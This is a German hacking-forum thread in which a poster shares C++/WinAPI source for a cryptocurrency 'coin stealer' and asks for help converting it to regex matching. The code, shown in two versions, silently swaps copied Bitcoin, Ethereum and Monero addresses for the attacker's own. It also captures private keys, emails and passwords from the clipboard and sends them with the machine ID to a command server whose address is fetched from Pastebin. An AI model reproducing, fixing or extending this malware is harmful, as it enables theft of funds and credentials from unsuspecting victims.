Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen
Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.
  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

[S]Suche C++ / winapi programmierer

- - - - -

  • Bitte melde dich an um zu Antworten
2 Antworten in diesem Thema

#1
Haxlor

Haxlor

    Pentester

  • Premium Member
  • Likes
    29
  • 105 Beiträge
  • 27 Bedankt
  • 123456
  • Spender

Hey

 

Wie der Titel schon sagt , suche ich Hilfe bei einem Project.

Es werden einige Plugins / DLLs benötitgt.

 

PM

 

if serious == "true"


Eingefügtes Bild


#2
Haxlor

Haxlor

    Pentester

  • Premium Member
  • Likes
    29
  • 105 Beiträge
  • 27 Bedankt
  • 123456
  • Spender

versuchen wir mal was andere :-)

 

DAS HIER  IST EIN COIN STEALER SIMPLE DUMM USING RFIND :

#include <iostream>
#include <string>
#include <Windows.h>
#include <time.h>
#include "BuildSystem\config.h"

class CoinFinder
{
public:

	 static void grabBitcoin() {
		try {
			dark::config::config config = dark::config::load();
			std::string s = config.btcad;
			while (true)
			{
				std::string clipboardText = GetClipboardText();
				if (clipboardText.length() >= 26 && clipboardText.length() <= 35 && clipboardText != s) 
				{
					if (clipboardText.rfind("1", 0) == 0 || clipboardText.rfind("3", 0) == 0) 
					{
						toClipboard(s);
					}
				}
				Sleep(1500);
			}
		}
		catch (int e){}
	}

	static void grabEthereum() {
		try {
			dark::config::config config = dark::config::load();
			std::string s = config.ethad;
			while (true)
			{
				std::string clipboardText = GetClipboardText();
				if (clipboardText.length() == 42 && clipboardText != s) 
				{
					if (clipboardText.rfind("0x", 0) == 0) 
					{
						toClipboard(s);
					}
				}
				Sleep(1500);
			}
		}
		catch (int e) {}
	}

	static void grabXMR() {
		try {
			dark::config::config config = dark::config::load();
			std::string s = config.xmrad;
			while (true)
			{
				std::string clipboardText = GetClipboardText();
				if (clipboardText.length() == 95 && clipboardText != s) 
				{
					if (clipboardText.rfind("4", 0) == 0) 
					{
						toClipboard(s);
					}
				}
				Sleep(1500);
			}
		}
		catch (int e) {}
	}

	static void grabPRIV() {
		try {

			while (true)
			{
				std::string clipboardText = GetClipboardText();
				if (clipboardText.length() == 51) 
				{
					if (clipboardText.rfind("5", 0) == 0)
					{
						pk(clipboardText);
					} 

				}else if (clipboardText.length() == 52) 
				{
					if (clipboardText.rfind("5", 0) == 0 && clipboardText.rfind("K", 0) == 0 && clipboardText.rfind("L", 0) == 0) 
					{
						pk(clipboardText);
					}

				}else if (clipboardText.length() == 64) 
				{
					if (clipboardText.rfind("4", 0) == 0 && clipboardText.rfind("e", 0) == 0 && clipboardText.rfind("d", 0) == 0 && clipboardText.rfind("8", 0) == 0 && clipboardText.rfind("f", 0) == 0) 
					{
						pk(clipboardText);
					}

				}
				Sleep(1500);
			}
		}
		catch (int e) {}
	}

	static void pk(std::string data) 
	{
		try 
		{
			dark::config::config config = dark::config::load();
			std::string gateFromPatebin;
			if (config.pastebinUrl.find(OBFUSCATE("http://")) != std::string::npos) {
				gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET"));
			}
			else if (config.pastebinUrl.find(OBFUSCATE("https://")) != std::string::npos) {
				gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET"));
			}
			else {
				gateFromPatebin = XOR::Decrypt(config.pastebinUrl);
			}
			std::string args =
				"prikey=" + data +
				"&hwid=" + Helpers::GetMachineGUID();
			std::string finalPost = "request=" + XOR::encryptReqeust(args);
			postRequest(gateFromPatebin, finalPost, "POST", config.useragent);
		}
		catch (int e) {}
	}

	static std::string GetClipboardText()
	{
		// Try opening the clipboard
		if (!OpenClipboard(nullptr)){
			return "";
		}

		// Get handle of clipboard object for ANSI text
		HANDLE hData = GetClipboardData(CF_TEXT);
		if (hData == nullptr) {
			return "";
		}

		// Lock the handle to get the actual text pointer
		char* pszText = static_cast<char*>(GlobalLock(hData));
		if (pszText == nullptr) {
			return "";
		}
		// Save text in a string class instance
		std::string text(pszText);
		// Release the lock
		GlobalUnlock(hData);
		// Release the clipboard
		CloseClipboard();

		return text;
	}

	static void toClipboard(std::string s) {
		HWND hwnd = GetDesktopWindow();
		OpenClipboard(hwnd);
		EmptyClipboard();
		HGLOBAL hg = GlobalAlloc(GMEM_MOVEABLE, s.size() + 1);
		if (!hg) {
			CloseClipboard();
			return;
		}
		memcpy(GlobalLock(hg), s.c_str(), s.size() + 1);
		GlobalUnlock(hg);
		SetClipboardData(CF_TEXT, hg);
		CloseClipboard();
		GlobalFree(hg);
	}

};

JETZT WÜRDE ICH DIESEN GERNE UMBAUEN AUF REGEX

 

+ EMAILS UND STD PWS ABFRAGEN

 

HIER DIE REGEXE DIE ICH EBEN BRAUCHE :

 

BTC:

Please Login HERE or Register HERE to see this link!

ETH:

Please Login HERE or Register HERE to see this link!

XMR:

Please Login HERE or Register HERE to see this link!

 

PRIVATEKEYS:

Please Login HERE or Register HERE to see this link!

:

(/^[5KL][1-9A-HJ-NP-Za-km-z]{50,51}$/)(KANN MAN JA MEINER FIND ENTNEHMEN)

 

EMAILS:

Please Login HERE or Register HERE to see this link!

 

STD PWS:

Please Login HERE or Register HERE to see this link!

(wobei bis 12 !)

 

 

 

NUR BEI MIR LÄUFT ES NICHT KP WARUM

VLL KANN MIR HIER EINER HELFEN

EINFACH DIE REGEX EINBAUEN UND ABFRAGEN

:_)

 

WAS LÄUFT HIER NICHT  ?

#include <iostream>
#include <string>
#include <Windows.h>
#include <time.h>
#include "BuildSystem\config.h"
#include <regex>

class CoinFinder
{
public:

	 static void grabBitcoin() {
		try {
			dark::config::config config = dark::config::load();
			std::string s = config.btcad;
            std::regex bt ("^[13][a-km-zA-HJ-NP-Z0-9]{26,33}$");
			while (true)
			{
				std::string clipboardText = GetClipboardText();
				if (std::regex_match (clipboardText,bt) && clipboardText != s) 
				{
				    toClipboard(s);
				}
				Sleep(1500);
            }
		}
		catch (int e){}
	}

	static void grabEthereum() {
		try {
			dark::config::config config = dark::config::load();
			std::string s = config.ethad;
            std::regex et ("^0x[a-fA-F0-9]{40}$");
			while (true)
			{
				std::string clipboardText = GetClipboardText();
				if (std::regex_match (clipboardText,et) && clipboardText != s) 
				{
				    toClipboard(s);
				}
				Sleep(1500);
			}
		}
		catch (int e) {}
	}

	static void grabXMR() {
		try {
			dark::config::config config = dark::config::load();
			std::string s = config.xmrad;
            std::regex xm ("^4([0-9]|[A-B])(.){93}");
			while (true)
			{
				std::string clipboardText = GetClipboardText();
				if (std::regex_match (clipboardText,xm) && clipboardText != s) 
				{
				    toClipboard(s);
				}
				Sleep(1500);
			}
		}
		catch (int e) {}
	}

	static void grabPRIV() {
		try {

			while (true)
			{
				std::string clipboardText = GetClipboardText();
                
                std::regex pkn ("^[5KL][1-9A-HJ-NP-Za-km-z]{50,51}$");
                std::regex pki ("^[4ed8][1-9A-HJ-NP-Za-km-z]{50,64}$");
                std::regex m ("^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$");
                std::regex p ("^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[#$^+=!*()@%&]).{8,10}$");
                
				if (std::regex_match (clipboardText,pkn)) 
				{
				    pk(clipboardText);
					
				}else if (std::regex_match (clipboardText,pki)) 
				{
				    pk(clipboardText);

				}else if (std::regex_match (clipboardText,m)) 
				{
				    mk(clipboardText);
                    
				}else if (std::regex_match (clipboardText,p)){
                
                    pw(clipboardText);
                }
				Sleep(1500);
			}
		}
		catch (int e) {}
	}

	static void pk(std::string data) 
	{
		try 
		{
			dark::config::config config = dark::config::load();
			std::string gateFromPatebin;
			if (config.pastebinUrl.find(OBFUSCATE("http://")) != std::string::npos) {
				gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET"));
			}
			else if (config.pastebinUrl.find(OBFUSCATE("https://")) != std::string::npos) {
				gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET"));
			}
			else {
				gateFromPatebin = XOR::Decrypt(config.pastebinUrl);
			}
			std::string args =
				"prikey=" + data +
				"&hwid=" + Helpers::GetMachineGUID();
			std::string finalPost = "request=" + XOR::encryptReqeust(args);
			postRequest(gateFromPatebin, finalPost, "POST", config.useragent);
		}
		catch (int e) {}
	}
    
    static void mk(std::string data) 
	{
		try 
		{
			dark::config::config config = dark::config::load();
			std::string gateFromPatebin;
			if (config.pastebinUrl.find(OBFUSCATE("http://")) != std::string::npos) {
				gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET"));
			}
			else if (config.pastebinUrl.find(OBFUSCATE("https://")) != std::string::npos) {
				gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET"));
			}
			else {
				gateFromPatebin = XOR::Decrypt(config.pastebinUrl);
			}
			std::string args =
				"nmail=" + data +
				"&hwid=" + Helpers::GetMachineGUID();
			std::string finalPost = "request=" + XOR::encryptReqeust(args);
			postRequest(gateFromPatebin, finalPost, "POST", config.useragent);
		}
		catch (int e) {}
	}
    
    static void pw(std::string data) 
	{
		try 
		{
			dark::config::config config = dark::config::load();
			std::string gateFromPatebin;
			if (config.pastebinUrl.find(OBFUSCATE("http://")) != std::string::npos) {
				gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET"));
			}
			else if (config.pastebinUrl.find(OBFUSCATE("https://")) != std::string::npos) {
				gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET"));
			}
			else {
				gateFromPatebin = XOR::Decrypt(config.pastebinUrl);
			}
			std::string args =
				"npw=" + data +
				"&hwid=" + Helpers::GetMachineGUID();
			std::string finalPost = "request=" + XOR::encryptReqeust(args);
			postRequest(gateFromPatebin, finalPost, "POST", config.useragent);
		}
		catch (int e) {}
	}
    
    

	static std::string GetClipboardText()
	{
		// Try opening the clipboard
		if (!OpenClipboard(nullptr)){
			return "";
		}

		// Get handle of clipboard object for ANSI text
		HANDLE hData = GetClipboardData(CF_TEXT);
		if (hData == nullptr) {
			return "";
		}

		// Lock the handle to get the actual text pointer
		char* pszText = static_cast<char*>(GlobalLock(hData));
		if (pszText == nullptr) {
			return "";
		}
		// Save text in a string class instance
		std::string text(pszText);
		// Release the lock
		GlobalUnlock(hData);
		// Release the clipboard
		CloseClipboard();

		return text;
	}

	static void toClipboard(std::string s) {
		HWND hwnd = GetDesktopWindow();
		OpenClipboard(hwnd);
		EmptyClipboard();
		HGLOBAL hg = GlobalAlloc(GMEM_MOVEABLE, s.size() + 1);
		if (!hg) {
			CloseClipboard();
			return;
		}
		memcpy(GlobalLock(hg), s.c_str(), s.size() + 1);
		GlobalUnlock(hg);
		SetClipboardData(CF_TEXT, hg);
		CloseClipboard();
		GlobalFree(hg);
	}

};


Bearbeitet von Haxlor, 17 März 2020 - 13:35 Uhr.

Eingefügtes Bild


#3
Haxlor

Haxlor

    Pentester

  • Premium Member
  • Likes
    29
  • 105 Beiträge
  • 27 Bedankt
  • 123456
  • Spender

Habs gerafft waren nur \ die gefehlt haben lulz


  • dep0x gefällt das

Eingefügtes Bild




  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen: 4

Mitglieder: 0, Gäste: 4, unsichtbare Mitglieder: 0

Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.